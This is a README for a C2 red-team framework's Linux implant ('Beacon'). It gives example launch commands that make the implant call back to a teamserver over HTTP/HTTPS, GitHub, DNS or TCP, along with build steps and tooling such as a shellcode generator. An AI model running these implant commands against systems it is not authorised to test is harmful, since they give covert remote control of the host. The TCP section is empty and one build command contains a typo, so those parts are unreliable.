Exploration C2 Linux Implant

Overview

Exploration is a modular Command and Control (C2) framework designed for red team operations. This repository provides the Beacon component implemented in C++ for targeting Linux systems. The associated TeamServer and Client components are available in the C2TeamServer repository.

Multiple Beacons in this project are capable of communicating with the TeamServer over various channels. Supported transport mechanisms include HTTP/HTTPS, GitHub, DNS, and TCP.

Communication Examples

# HTTP/HTTPS
BeaconHttp <TEAMSERVER_IP> <LISTENER_PORT> <http|https>
BeaconHttp 10.10.10.10 8443 https
BeaconHttp 10.10.10.10 8080 http

# GitHub
BeaconGithub <GITHUB_USER/REPO> <ACCESS_TOKEN>

# DNS
BeaconDns <DNS_SERVER> <TEAMSERVER_DOMAIN>
BeaconDns 8.8.8.8 bac.superdomain.com

# TCP

Build Instructions

Submodules & External Dependencies

This project utilizes several external libraries and tools:

• Donut: Generates shellcode from PE files.
• COFFLoader: Executes object files, such as those in CS-Situational-Awareness-BOF.
• cpp-base64: Provides base64 encoding/decoding.
• nlohmann/json: JSON parsing library.

Building the Linux Beacons and Modules

Initialize submodules and prepare the build environment:

git submodule update --init
mkdir build
cd build

Compile with or without tests and logging:

# With tests and logs
cmpake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=ON

# Without tests and logs
cmake .. -DCMAKE_PROJECT_TOP_LEVEL_INCLUDES=./conan_provider.cmake -DWITH_TESTS=OFF

make -j4
